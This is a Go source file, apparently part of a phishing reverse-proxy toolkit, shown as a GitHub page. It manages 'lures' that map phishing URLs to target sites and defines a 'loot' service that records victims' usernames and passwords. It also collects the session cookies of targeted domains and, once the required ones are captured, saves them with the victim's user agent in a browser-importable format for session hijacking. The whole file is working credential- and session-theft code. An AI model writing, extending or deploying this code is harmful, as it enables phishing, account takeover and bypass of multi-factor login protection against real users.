-
Notifications
You must be signed in to change notification settings - Fork 8
/
service.go
445 lines (395 loc) · 10.9 KB
/
service.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
package main
import (
"net/http"
"net/url"
"os"
"regexp"
"sort"
"strings"
"sync"
"time"
"github.com/gofiber/fiber/v2"
"github.com/rs/zerolog"
"go.uber.org/multierr"
"gopkg.in/yaml.v3"
)
type APILure struct {
LureURL string `json:"lure_url" yaml:"lure_url" validate:"required,uri"`
TargetURL string `json:"target_url" yaml:"target_url" validate:"required,url"`
Name string `json:"name" yaml:"name"`
}
type LureService interface {
ExistsByURL(lureURL string) (bool, error)
GetByURL(lureURL string) (*APILure, error)
Add(lure *APILure) error
DeleteByURL(lureURL string) error
GetAll() ([]*APILure, error)
}
type ByteSource interface {
ReadAll() ([]byte, error)
WriteAll(p []byte) error
}
func NewLureService(source ByteSource) (LureService, error) {
data, err := source.ReadAll()
if err != nil {
return nil, err
}
luresMap, err := parseLuresConfig(data)
if err != nil {
return nil, err
}
return &lureService{luresMap: luresMap, source: source}, nil
}
func parseLuresConfig(data []byte) (mp map[string]*APILure, err error) {
var doc struct {
Lures []*APILure `yaml:"lures"`
}
if err = yaml.Unmarshal(data, &doc); err != nil {
return
}
mp = make(map[string]*APILure)
for _, lure := range doc.Lures {
mp[lure.LureURL] = lure
}
return
}
type lureService struct {
mu sync.RWMutex
source ByteSource
luresMap map[string]*APILure
}
func (s *lureService) ExistsByURL(url string) (bool, error) {
s.mu.RLock()
defer s.mu.RUnlock()
_, exists := s.luresMap[url]
return exists, nil
}
func (s *lureService) GetByURL(url string) (*APILure, error) {
s.mu.RLock()
defer s.mu.RUnlock()
return s.luresMap[url], nil
}
func (s *lureService) Add(lure *APILure) error {
if err := validate.Struct(lure); err != nil {
return err
}
s.mu.Lock()
defer s.mu.Unlock()
s.luresMap[lure.LureURL] = lure
return s.flush()
}
func (s *lureService) DeleteByURL(lureURL string) error {
s.mu.Lock()
defer s.mu.Unlock()
delete(s.luresMap, lureURL)
return s.flush()
}
func (s *lureService) GetAll() ([]*APILure, error) {
s.mu.RLock()
defer s.mu.RUnlock()
return s.getAll(), nil
}
func (s *lureService) flush() error {
values := s.getAll()
data, err := yaml.Marshal(map[string]interface{}{
"lures": values,
})
return multierr.Append(err, s.source.WriteAll(data))
}
func (s *lureService) getAll() []*APILure {
lures := make([]*APILure, 0, len(s.luresMap))
for _, v := range s.luresMap {
lures = append(lures, v)
}
sort.Slice(lures, func(i, j int) bool {
return lures[i].Name < lures[j].Name
})
return lures
}
type FileByteSource struct {
filename string
}
func (s *FileByteSource) ReadAll() ([]byte, error) {
if _, err := os.Stat(s.filename); err != nil {
return nil, nil
}
return os.ReadFile(s.filename)
}
//nolint:gosec
func (s *FileByteSource) WriteAll(p []byte) error {
tmpPath := s.filename + ".tmp"
if err := os.WriteFile(tmpPath, p, 0644); err != nil {
return err
}
// Atomic operation on most filesystems
return os.Rename(tmpPath, s.filename)
}
type APILoginInfo struct {
Username string `json:"username"`
Password string `json:"password"`
}
type LootService interface {
CookieSaver
SaveCreds(c *fiber.Ctx, info *APILoginInfo) error
}
func NewLootService(log *zerolog.Logger, credsRepo CredsRepository, sessionRepo SessionRepository,
sessionCookies []*SessionCookieConfig) *lootService {
cookieAllRegexp := getDomainCookieNamesRegexp(sessionCookies)
var requiredCookies []*SessionCookieConfig
for _, cookie := range sessionCookies {
if cookie.Required {
requiredCookies = append(requiredCookies, cookie)
}
}
cookieRequiredRegexp := getDomainCookieNamesRegexp(requiredCookies)
return &lootService{
log: log,
credsRepo: credsRepo,
sessionRepo: sessionRepo,
cookieAllRegexp: cookieAllRegexp,
cookieRequiredRegexp: cookieRequiredRegexp,
requiredCookiesNum: len(requiredCookies)}
}
func getDomainCookieNamesRegexp(cookies []*SessionCookieConfig) map[string]*regexp.Regexp {
cookiesByDomain := make(map[string][]*SessionCookieConfig)
for _, cookie := range cookies {
domain := strings.TrimPrefix(cookie.Domain, ".")
cookiesByDomain[domain] = append(cookiesByDomain[domain], cookie)
}
result := make(map[string]*regexp.Regexp)
for domain, domainCookies := range cookiesByDomain {
reStrings := make([]string, 0, len(domainCookies))
for _, cookie := range domainCookies {
name := cookie.Name
if !cookie.Regexp {
name = regexp.QuoteMeta(name)
}
reStrings = append(reStrings, "(^"+name+"$)")
}
result[domain] = regexp.MustCompile(strings.Join(reStrings, "|"))
}
return result
}
type lootService struct {
log *zerolog.Logger
credsRepo CredsRepository
sessionRepo SessionRepository
// cookieAllRegexp contains map from cookie domain name to regexp that matches
// all session cookie names for this domain
cookieAllRegexp map[string]*regexp.Regexp
// cookieRequiredRegexp contains map from cookie domain name to regexp that matches
// all required session cookie names for the given domain which must be collected
// in order to persist a session
cookieRequiredRegexp map[string]*regexp.Regexp
sessions sync.Map
requiredCookiesNum int
}
func (s *lootService) SaveCreds(c *fiber.Ctx, info *APILoginInfo) (err error) {
sess := getProxySession(c)
if sess == nil {
return
}
dbInfo := &DBLoginInfo{
Username: info.Username,
Password: info.Password,
Date: time.Now().UTC(),
SessionID: sess.ID(),
LureURL: sess.LureURL(),
}
return s.credsRepo.SaveCreds(dbInfo)
}
// SessionCookie is a captured session cookie in EditThisCookie format
type SessionCookie struct {
Domain string `json:"domain"`
Name string `json:"name"`
Value string `json:"value"`
Path string `json:"path"`
HTTPOnly bool `json:"httpOnly"`
Secure bool `json:"secure"`
SameSite string `json:"sameSite"`
ID string `json:"id,omitempty"`
StoreID string `json:"storeId,omitempty"`
// UNIX timestamp
ExpirationDate float64 `json:"expirationDate,omitempty"`
Session bool `json:"session"`
}
type sessionContext struct {
mu sync.RWMutex
allCookies map[string]*SessionCookie
requiredCookies map[string]struct{}
isAuthenticated bool
userAgent string
}
func newSessionContext() *sessionContext {
return &sessionContext{
allCookies: make(map[string]*SessionCookie),
requiredCookies: make(map[string]struct{}),
}
}
func (s *lootService) SaveUserAgent(c *fiber.Ctx) {
userAgent := c.Get("User-Agent")
if userAgent == "" {
return
}
sess := getProxySession(c)
if sess == nil {
return
}
sessCtx := s.getOrCreateSessionContext(sess.ID())
if s.getUserAgent(sessCtx) != "" {
return
}
sessCtx.mu.Lock()
defer sessCtx.mu.Unlock()
sessCtx.userAgent = userAgent
}
func (*lootService) getUserAgent(sessCtx *sessionContext) string {
sessCtx.mu.RLock()
defer sessCtx.mu.RUnlock()
return sessCtx.userAgent
}
func (s *lootService) SaveCookies(c *fiber.Ctx, destURL *url.URL, cookies []*http.Cookie) (err error) {
if s.requiredCookiesNum == 0 {
return
}
sess := getProxySession(c)
if sess == nil {
return
}
sessCtx := s.getOrCreateSessionContext(sess.ID())
sessCtx.mu.Lock()
defer sessCtx.mu.Unlock()
if sessCtx.isAuthenticated {
return
}
for _, cookie := range cookies {
s.saveCookie(sessCtx, destURL, cookie)
}
if len(sessCtx.requiredCookies) == s.requiredCookiesNum {
s.log.Info().Str("lureURL", sess.LureURL()).Str("sid", sess.ID()).Msg("session cookies are captured!")
err = s.saveCapturedSession(sess, sessCtx)
sessCtx.isAuthenticated = true
}
return
}
func (s *lootService) saveCapturedSession(sess *proxySession, sessCtx *sessionContext) error {
cookies := make([]*SessionCookie, 0, len(sessCtx.allCookies))
for _, cookie := range sessCtx.allCookies {
cookies = append(cookies, cookie)
}
return s.sessionRepo.SaveSession(&DBCapturedSession{
SessionID: sess.ID(),
LureURL: sess.LureURL(),
Cookies: cookies,
UserAgent: sessCtx.userAgent,
})
}
func (s *lootService) getOrCreateSessionContext(sessionID string) *sessionContext {
// TODO sessionContext pool
ctx, _ := s.sessions.LoadOrStore(sessionID, newSessionContext())
return ctx.(*sessionContext)
}
func (s *lootService) getSessionContext(sessionID string) *sessionContext {
ctx, ok := s.sessions.Load(sessionID)
if !ok {
return nil
}
return ctx.(*sessionContext)
}
func (s *lootService) IsAuthenticated(c *fiber.Ctx) bool {
sess := getProxySession(c)
if sess == nil {
return false
}
sessCtx := s.getSessionContext(sess.ID())
if sessCtx == nil {
return false
}
sessCtx.mu.RLock()
defer sessCtx.mu.RUnlock()
return sessCtx.isAuthenticated
}
func (s *lootService) saveCookie(sessCtx *sessionContext, destURL *url.URL, cookie *http.Cookie) {
if cookie.Expires.Before(time.Now()) {
return
}
domain := getCookieDomain(destURL, cookie)
allRe, ok := s.cookieAllRegexp[domain]
if !ok {
return
}
if !allRe.MatchString(cookie.Name) {
return
}
sessionCookie := newSessionCookie(destURL, cookie)
cookieKey := domain + ":" + cookie.Name
sessCtx.allCookies[cookieKey] = sessionCookie
if requiredRe, ok := s.cookieRequiredRegexp[domain]; ok && requiredRe.MatchString(cookie.Name) {
sessCtx.requiredCookies[cookieKey] = struct{}{}
}
}
func (s *lootService) DeleteSession(sessionID string) {
s.sessions.Delete(sessionID)
}
func newSessionCookie(destURL *url.URL, cookie *http.Cookie) *SessionCookie {
result := &SessionCookie{
Domain: getCookieDomain(destURL, cookie),
Name: cookie.Name,
Value: cookie.Value,
Path: cookie.Path,
HTTPOnly: cookie.HttpOnly,
Secure: cookie.Secure,
SameSite: mapSameSite(cookie.SameSite),
}
if cookie.Expires.IsZero() {
result.Session = true
} else {
result.ExpirationDate = float64(cookie.Expires.UnixNano()) / 1e9
}
if result.Path == "" {
result.Path = "/"
}
return result
}
func mapSameSite(mode http.SameSite) string {
switch mode {
case http.SameSiteLaxMode:
return "lax"
case http.SameSiteStrictMode:
return "strict"
default:
return "no_restriction"
}
}
func getCookieDomain(destURL *url.URL, cookie *http.Cookie) string {
if cookie.Domain == "" {
return destURL.Hostname()
}
return strings.TrimPrefix(cookie.Domain, ".")
}
type CookieSaver interface {
SaveCookies(c *fiber.Ctx, destURL *url.URL, cookies []*http.Cookie) error
}
func NewCookieService() CookieSaver {
return &cookieService{}
}
type cookieService struct{}
func (*cookieService) SaveCookies(c *fiber.Ctx, destURL *url.URL, cookies []*http.Cookie) error {
cookieJar := getProxySession(c).CookieJar()
cookieJar.SetCookies(destURL, cookies)
return nil
}
func NewMultiCookieSaver(delegates ...CookieSaver) CookieSaver {
return &multiCookieSaver{delegates}
}
type multiCookieSaver struct {
delegates []CookieSaver
}
func (s *multiCookieSaver) SaveCookies(c *fiber.Ctx, destURL *url.URL, cookies []*http.Cookie) (err error) {
for _, delegate := range s.delegates {
err = multierr.Append(err, delegate.SaveCookies(c, destURL, cookies))
}
return
}
// DB_TYPE = file / redis
// DB_URL =